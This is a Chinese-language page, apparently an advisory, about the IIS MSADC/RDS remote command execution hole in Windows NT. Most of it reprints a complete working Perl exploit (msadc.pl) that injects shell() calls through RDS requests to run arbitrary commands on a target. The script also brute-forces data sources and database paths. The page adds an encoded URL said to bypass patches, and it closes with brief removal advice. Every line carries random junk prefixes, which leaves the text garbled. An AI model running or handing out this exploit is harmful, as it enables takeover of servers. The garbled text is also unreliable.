IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
2^:5aABQ ZM)a4h,kcm 涉及程序:
Zd~Z`B} & Microsoft NT server
UnO -? 1$
l3-x 描述:
r-!8in2 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
e8gD(T f|<
*2Mk 详细:
-bs~{ 如果你没有时间读详细内容的话,就删除:
h\20 c:\Program Files\Common Files\System\Msadc\msadcs.dll
M&>Z[o 有关的安全问题就没有了。
A!j&g(Z"Q (^6SF>' 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
i4uUvZf IB?5y~+h 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
{WC{T2:8 关于利用ODBC远程漏洞的描述,请参看:
SYC_=X 7pGlbdS http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 0&w.QoZY( dwmj*+ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
M VsIyP http://www.microsoft.com/security/bulletins/MS99-025faq.asp $Itehy nNL9B~d 这里不再论述。
WJg?R^ +:^tppg 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
Q*lZ;~R D&]SPhX /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
hZyz5aZ)K 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
X"[c[YT!%[ >Ks| yNJ TYB^CVSZ #将下面这段保存为txt文件,然后: "perl -x 文件名"
P [gqv3V M~wJe@bc #!perl
o,X ? #
8WaVs 6 # MSADC/RDS 'usage' (aka exploit) script
7[8PSoo #
paiF ah # by rain.forest.puppy
km8[azB o #
rt."P20T # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Z!ub`coV[ # beta test and find errors!
& }}o9 ,H.q%!{h_ use Socket; use Getopt::Std;
ya|7hz { getopts("e:vd:h:XR", \%args);
C9*'.~ VV?KJz=,W= print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
tTP"*Bb %pV/(/Q if (!defined $args{h} && !defined $args{R}) {
0A|.ch print qq~
f4:gD*YT Usage: msadc.pl -h <host> { -d <delay> -X -v }
1'}~;?_ -h <host> = host you want to scan (ip or domain)
zs7K :OlkA -d <seconds> = delay between calls, default 1 second
jMZ{>l.v -X = dump Index Server path table, if available
4Kx;F
9!%~ -v = verbose
xy[R9_V -e = external dictionary file for step 5
#,$d!l @ 4egq Y0A Or a -R will resume a command session
U?H!:?,C $0{c=r9 ~; exit;}
iGm[fxQ| L%N|8P[ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
72Ft?;R if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
V~ZAs+(2Z if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
Bm.%bA>
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Joe k4t&0< $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
\J:/l|h if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
y<.1+TG +MXI;k_ if (!defined $args{R}){ $ret = &has_msadc;
_kgw+NA&-H die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
wD"Y1?Mr *y
F 9_\n print "Please type the NT commandline you want to run (cmd /c assumed):\n"
M2mte#h . "cmd /c ";
.3!=]= $in=<STDIN>; chomp $in;
>H?8?a D $command="cmd /c " . $in ;
rsA K0R+ >*dqFZF if (defined $args{R}) {&load; exit;}
t|d9EC]c( @
Al\: print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
nIKh<ws4z &try_btcustmr;
^P\(IDJCo Oe*emUX7 print "\nStep 2: Trying to make our own DSN...";
EubF`w$KWX &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
.J'}qkz~ T/uj5pMG print "\nStep 3: Trying known DSNs...";
Wu9@Ecb &known_dsn;
Al6)$8]e oJ>]=^?k print "\nStep 4: Trying known .mdbs...";
%Qrf
] &known_mdb;
<<Ut@243\ ti3T?_ if (defined $args{e}){
EO3?Dev print "\nStep 5: Trying dictionary of DSN names...";
7k{C'\m &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
iIA&\'|;i '$;S?6$eW print "Sorry Charley...maybe next time?\n";
jBarY g exit;
Hj$JXo[U 6:#zlKYJ ##############################################################################
i4&"-ujrm Tf<1Z{9 sub sendraw { # ripped and modded from whisker
F3i+t+Jt sleep($delay); # it's a DoS on the server! At least on mine...
4tof[n3us my ($pstr)=@_;
z45ImItH socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
$9j\sZj& die("Socket problems\n");
; Sq_DP1W if(connect(S,pack "SnA4x8",2,80,$target)){
tJ i#bg% select(S); $|=1;
b_:]Y<{> f print $pstr; my @in=<S>;
m "h{HgJd select(STDOUT); close(S);
TE3A(N' return @in;
-y)ij``VY } else { die("Can't connect...\n"); }}
-:dUD1 ^ [uA^ ##############################################################################
#jv~FR`4v^ 8:|F'{<<b sub make_header { # make the HTTP request
AK} wSXF my $msadc=<<EOT
I!|_C~I` 2 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
1c8J yp User-Agent: ACTIVEDATA
V^As@P8,'( Host: $ip
k$j>_U? P Content-Length: $clen
6DD"Asi+ Connection: Keep-Alive
tQ&.;{5[f LaG./+IP ADCClientVersion:01.06
CMI%jyiX Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
JJPU! 4%0eX] --!ADM!ROX!YOUR!WORLD!
#ih(I7prH Content-Type: application/x-varg
GBFYa6\4sT Content-Length: $reqlen
mADq_`j esIEi!d EOT
mw-0n ; $msadc=~s/\n/\r\n/g;
uK2MC?LP return $msadc;}
b*\K I ]<V[H ##############################################################################
~DPjTR @bSxT,2 sub make_req { # make the RDS request
{m.l{<H my ($switch, $p1, $p2)=@_;
yF8 av=<{ my $req=""; my $t1, $t2, $query, $dsn;
K*xqQ]& P4-`<i]!S if ($switch==1){ # this is the btcustmr.mdb query
q;3.pRw( $query="Select * from Customers where City=" . make_shell();
}_vE
lBh6$ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
BxS\"W $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
vd6Y'Zk|F6
0GK<l elsif ($switch==2){ # this is general make table query
yZj:Kp+7 $query="create table AZZ (B int, C varchar(10))";
=*
oFs|v $dsn="$p1";}
KuL2X@)} ^2rNty,nH elsif ($switch==3){ # this is general exploit table query
M_<O'Ii3 $query="select * from AZZ where C=" . make_shell();
meA=lg? $dsn="$p1";}
CkKr@. dV
K[!OfP elsif ($switch==4){ # attempt to hork file info from index server
Ri =>evx $query="select path from scope()";
q\cH+n)C $dsn="Provider=MSIDXS;";}
s<Px au+A 4|9M8ocR elsif ($switch==5){ # bad query
[*GIR0 $query="select";
SSEK9UX $dsn="$p1";}
iZ} w>1 BU(:6 $t1= make_unicode($query);
xb1 i{d $t2= make_unicode($dsn);
>~8;H x].d $req = "\x02\x00\x03\x00";
OOA%NKV $req.= "\x08\x00" . pack ("S1", length($t1));
7p}J]!Z $req.= "\x00\x00" . $t1 ;
[DpGL/Y. $req.= "\x08\x00" . pack ("S1", length($t2));
e[.c^Hw $req.= "\x00\x00" . $t2 ;
Cp` [0v~0 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
Vf9PHHH| return $req;}
%5Hsd \
'G%%%;4 ##############################################################################
N3nFE:`u] ^x-vOGlR sub make_shell { # this makes the shell() statement
uu@Y]0- return "'|shell(\"$command\")|'";}
B8;jRY nk|j(D ##############################################################################
/n;Ll](ri (L} sub make_unicode { # quick little function to convert to unicode
rH
Et]Xa my ($in)=@_; my $out;
FKRO0%M4}Z for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
_:DnF return $out;}
,#:* dl 6;6a.iZ ##############################################################################
(hWr!(>C4] \n$s5i- sub rdo_success { # checks for RDO return success (this is kludge)
5G"LuA my (@in) = @_; my $base=content_start(@in);
+RWP;rk if($in[$base]=~/multipart\/mixed/){
<+I^K 7
return 1 if( $in[$base+10]=~/^\x09\x00/ );}
qDHiyg^u return 0;}
03$-U0.;- ky>0 ##############################################################################
3NAU|//J *y<Ru:D sub make_dsn { # this makes a DSN for us
__o`+ ^FS my @drives=("c","d","e","f");
]wFKXZeK print "\nMaking DSN: ";
H'7AIY} foreach $drive (@drives) {
|W4
\ print "$drive: ";
hqrI%% my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
S81Z\=eK "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
+EK(r@eV . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
b~dm+5W7 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
mCOJ1} return 0 if $2 eq "404"; # not found/doesn't exist
uTgBnv(Y* if($2 eq "200") {
f'P}]_3( foreach $line (@results) {
=2!AK[KxX return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
HEdOo~/~ } return 0;}
`2`Nu:r^ m} /L MY ##############################################################################
B w?Kb@ v|uY\Z sub verify_exists {
tVVnQX my ($page)=@_;
FdwT my @results=sendraw("GET $page HTTP/1.0\n\n");
pn3f{fQ return $results[0];}
<q|IP_ Q M7z
. ##############################################################################
-wv5c C$Pe<C# sub try_btcustmr {
2ED^uc:
0S my @drives=("c","d","e","f");
%{qJkjG my @dirs=("winnt","winnt35","winnt351","win","windows");
NJK?5{H' .I\)1kjX foreach $dir (@dirs) {
hDaI@_86 print "$dir -> "; # fun status so you can see progress
/!J1}S foreach $drive (@drives) {
vl59|W6 print "$drive: "; # ditto
b*$/(2"m $reqlen=length( make_req(1,$drive,$dir) ) - 28;
~3-2Iu^F $reqlenlen=length( "$reqlen" );
yem*g1 $clen= 206 + $reqlenlen + $reqlen;
NCbl|v= )#ze my @results=sendraw(make_header() . make_req(1,$drive,$dir));
)P4#P2 if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Vfew )]I else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
@gzm4 `s74g0h ##############################################################################
kB_u U !G 5c6CH k`: sub odbc_error {
gNkx]bm my (@in)=@_; my $base;
$[9,1.?C my $base = content_start(@in);
c*MSd if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
"a;z $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
R7aS{8nn $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
"j|}-a $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
b(&~f@%| return $in[$base+4].$in[$base+5].$in[$base+6];}
+LddW0h+=8 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
q)JG_Y.p print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
[P#^nyOh( $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
yH_L<n N!" ]e*q ##############################################################################
:()(P9? !g:UkU\J sub verbose {
mw}obblR my ($in)=@_;
JHpoW}7QB return if !$verbose;
)US|&>
o8 print STDOUT "\n$in\n";}
2{naSiaq 0_JbE ##############################################################################
'TclH80 }G
n2% sub save {
|F5^mpU my ($p1, $p2, $p3, $p4)=@_;
L8- open(OUT, ">rds.save") || print "Problem saving parameters...\n";
=uKGh`^[ print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
_i [.5 close OUT;}
: sIZ+3 G#V5E)Dx ##############################################################################
w`XwW#!}@$ cyUNJw sub load {
( 8+ _~_ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
4eb<SNi open(IN,"<rds.save") || die("Couldn't open rds.save\n");
JtYc'%OF @p=<IN>; close(IN);
E:BEQ:(~L $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
S!J.$Y<Ko $target= inet_aton($ip) || die("inet_aton problems");
4f,D3e%T| print "Resuming to $ip ...";
]e+IaZ[Wo $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
oiAU}iK: if($p[1]==1) {
pJ7wd~wF* $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
B.fLgQK0 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
L^PZ\OC my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
q|m8G if (rdo_success(@results)){print "Success!\n";}
PZ69aZ*Gs else { print "failed\n"; verbose(odbc_error(@results));}}
t!^FWr& elsif ($p[1]==3){
3}O.B
r| if(run_query("$p[3]")){
g3{)AX[Uy print "Success!\n";} else { print "failed\n"; }}
e
#l/jFJU elsif ($p[1]==4){
Wo5G23:xz if(run_query($drvst . "$p[3]")){
bu"Jb4_a> print "Success!\n"; } else { print "failed\n"; }}
cn ,zUG!-h exit;}
=DTn9}u r$ue1bH}| ##############################################################################
SxXh
N } {/4sll sub create_table {
~h -G my ($in)=@_;
=0xuH>WY}w $reqlen=length( make_req(2,$in,"") ) - 28;
Avw"[~Xd $reqlenlen=length( "$reqlen" );
9[5NnRv$P $clen= 206 + $reqlenlen + $reqlen;
2YK4SL my @results=sendraw(make_header() . make_req(2,$in,""));
&B3Eq1A return 1 if rdo_success(@results);
{y0*cC my $temp= odbc_error(@results); verbose($temp);
:K{`0U&l5 return 1 if $temp=~/Table 'AZZ' already exists/;
(\FjbY9& return 0;}
}|f\'S #FF5xe ##############################################################################
9Vk61x6 R7T"fN sub known_dsn {
Jl3l\I' # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
!7J;h{3Uw my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
L]0+u\( "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
IDBhhv3ak "banner", "banners", "ads", "ADCDemo", "ADCTest");
+AyQ4Q(-o M0o=bYI foreach $dSn (@dsns) {
Y%qhgzz?/ print ".";
ZTd_EY0 q next if (!is_access("DSN=$dSn"));
pfg"6P if(create_table("DSN=$dSn")){
'ntb.S) print "$dSn successful\n";
en7i})v\". if(run_query("DSN=$dSn")){
] d| -r:4 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
:YjOv print "Something's borked. Use verbose next time\n";}}} print "\n";}
Tp~yn !Dkz6B* ##############################################################################
mh44 7d/wT+f sub is_access {
n);2b\& my ($in)=@_;
# l~d $reqlen=length( make_req(5,$in,"") ) - 28;
XRs/gUT $reqlenlen=length( "$reqlen" );
Ed#%F-1sX $clen= 206 + $reqlenlen + $reqlen;
O89<IXk my @results=sendraw(make_header() . make_req(5,$in,""));
g2C-)*'{yh my $temp= odbc_error(@results);
9In&vF7$ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
H_;Dq* return 0;}
'N=' B<^;% eFXxkWR) ##############################################################################
-a3+C,I8g 3f's>+,#% sub run_query {
/@FB;`' my ($in)=@_;
]Ke|wRQD $reqlen=length( make_req(3,$in,"") ) - 28;
k}>l+_*+7 $reqlenlen=length( "$reqlen" );
05*_h0} $clen= 206 + $reqlenlen + $reqlen;
vJGxD\h my @results=sendraw(make_header() . make_req(3,$in,""));
v Xio1hu return 1 if rdo_success(@results);
z1!ya#,$ my $temp= odbc_error(@results); verbose($temp);
m|~,# d@ return 0;}
}3:TPW5S DWJ%r"aN ##############################################################################
EN.yU!N.4 lGG1d sub known_mdb {
g/+M&k$ my @drives=("c","d","e","f","g");
l@1f L%f my @dirs=("winnt","winnt35","winnt351","win","windows");
hl}#bZ8] my $dir, $drive, $mdb;
KtEMH my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
/G[y
24 Q \Qk:\aLR # this is sparse, because I don't know of many
y(.WK8
my @sysmdbs=( "\\catroot\\icatalog.mdb",
B>X+eK "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
1sc #!^Oo "\\system32\\certmdb.mdb",
mm#U a/~1u "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
TOMvJ>bF g/z9bOgIX my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
8f^URN<x "\\cfusion\\cfapps\\forums\\forums_.mdb",
Kox~k?JK
"\\cfusion\\cfapps\\forums\\data\\forums.mdb",
yF0,} "\\cfusion\\cfapps\\security\\realm_.mdb",
Z+t?ah00 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
m)_1->K "\\cfusion\\database\\cfexamples.mdb",
/UyW&]nK "\\cfusion\\database\\cfsnippets.mdb",
[%l+
C~m "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
58e{WC "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
'4Z%{.; "\\cfusion\\brighttiger\\database\\cleam.mdb",
f+xGf6V "\\cfusion\\database\\smpolicy.mdb",
m_rR e\ "\\cfusion\\database\cypress.mdb",
.e.vh:Sz "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
qx0o,oZN! "\\website\\cgi-win\\dbsample.mdb",
V<4)'UI?k9 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
fbuop&FN+q "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
r@%32h ); #these are just
fY%Sw7ql< foreach $drive (@drives) {
NBMY1Xgj foreach $dir (@dirs){
p6=#LwL' foreach $mdb (@sysmdbs) {
Arp4$h print ".";
@D"|Jq=6P if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
aE{b65'Dt print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
"6KOql3 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
Cc Ni8Wg_ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
sef!hS06 } else { print "Something's borked. Use verbose next time\n"; }}}}}
$Uewv
+ ixKQh};5/ foreach $drive (@drives) {
kIWQ`)' foreach $mdb (@mdbs) {
M!X@-t# print ".";
fI$,?> if(create_table($drv . $drive . $dir . $mdb)){
|?8CV\D! print "\n" . $drive . $dir . $mdb . " successful\n";
gX(QRQ if(run_query($drv . $drive . $dir . $mdb)){
v?LJ_>hw*T print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
=?*V3e3{ } else { print "Something's borked. Use verbose next time\n"; }}}}
BMX x(W] }
&OzJ^G\o M$&>"%Oi ##############################################################################
:cynZab '!1lK sub hork_idx {
["L?t ^*G print "\nAttempting to dump Index Server tables...\n";
R*yB); p print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
K4RjGSaF $reqlen=length( make_req(4,"","") ) - 28;
$^
>n@Q@&L $reqlenlen=length( "$reqlen" );
V;:A& $clen= 206 + $reqlenlen + $reqlen;
b/5~VY*T my @results=sendraw2(make_header() . make_req(4,"",""));
> %Y#(_~a if (rdo_success(@results)){
nQ~q-=,L my $max=@results; my $c; my %d;
uwQ4RYz for($c=19; $c<$max; $c++){
,MvvW{EY $results[$c]=~s/\x00//g;
D1g1"^~g $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
/ TJTu_# $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
\'p7,F{:>5 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
T2(+HI2 $d{"$1$2"}="";}
]iNSa{G foreach $c (keys %d){ print "$c\n"; }
v#/,,)m } else {print "Index server doesn't seem to be installed.\n"; }}
uPo>?hpq+ \uPT-M* ##############################################################################
6|jE3rHw 3t_5Xacj sub dsn_dict {
&Y#9~$V= open(IN, "<$args{e}") || die("Can't open external dictionary\n");
HE,wEKp while(<IN>){
6)bfd^JYn $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
s[s^z<4G next if (!is_access("DSN=$dSn"));
9n%W-R. if(create_table("DSN=$dSn")){
ljf9L:L print "$dSn successful\n";
l{pF^?K if(run_query("DSN=$dSn")){
Z$hxo)| print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
dl;A'/(t print "Something's borked. Use verbose next time\n";}}}
|ITg-t print "\n"; close(IN);}
dkn_`j\v kU^@R<Fo ##############################################################################
>C&!#
3 ?41| e+p sub sendraw2 { # ripped and modded from whisker
>qgBu_ sleep($delay); # it's a DoS on the server! At least on mine...
)eG&"3kFe! my ($pstr)=@_;
oDP|>yXC) socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
}`g*pp* die("Socket problems\n");
Anm5Cvt;i if(connect(S,pack "SnA4x8",2,80,$target)){
^IId
=V=2 print "Connected. Getting data";
3&*%>) open(OUT,">raw.out"); my @in;
Rd!.8K[ select(S); $|=1; print $pstr;
pucHB<R@bL while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
l3MH+o close(OUT); select(STDOUT); close(S); return @in;
w'eenIX^^ } else { die("Can't connect...\n"); }}
QMsnfG EPg?jKZava ##############################################################################
w##Fpv<m D"WkD j"M sub content_start { # this will take in the server headers
i'u;"ot=
my (@in)=@_; my $c;
7xcYM for ($c=1;$c<500;$c++) {
qqAsh]Z if($in[$c] =~/^\x0d\x0a/){
!3&}r
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
ynd}w
G' else { return $c+1; }}}
oy'+n- return -1;} # it should never get here actually
YS~x-5OE\ }v!6BU6<Q ##############################################################################
0qZ)$YKq Af%?WZlOq sub funky {
FPMk& my (@in)=@_; my $error=odbc_error(@in);
;K_B,@:' if($error=~/ADO could not find the specified provider/){
t.TQ@c+,J print "\nServer returned an ADO miscofiguration message\nAborting.\n";
0CR;t`M@ exit;}
OH(+]%B78 if($error=~/A Handler is required/){
WT)")0)[ print "\nServer has custom handler filters (they most likely are patched)\n";
>fdN`W}M exit;}
O*PHo_&G if($error=~/specified Handler has denied Access/){
4~/6d9f print "\nServer has custom handler filters (they most likely are patched)\n";
-I*A `M exit;}}
][mc^eI0s| j
AE0$u~. ##############################################################################
W7
E-j+2 z~_\onC sub has_msadc {
-jy"?]ve. my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
%xruPWT:k my $base=content_start(@results);
&Y>u2OZ return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
5a&wM return 0;}
w\ :b(I &|4Uo5qS=Z ########################
LNb![Rq 2uTa}{/% ww2Qa-K 解决方案:
bi[l , 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
+g[B &A!d+ 2、移除web 目录: /msadc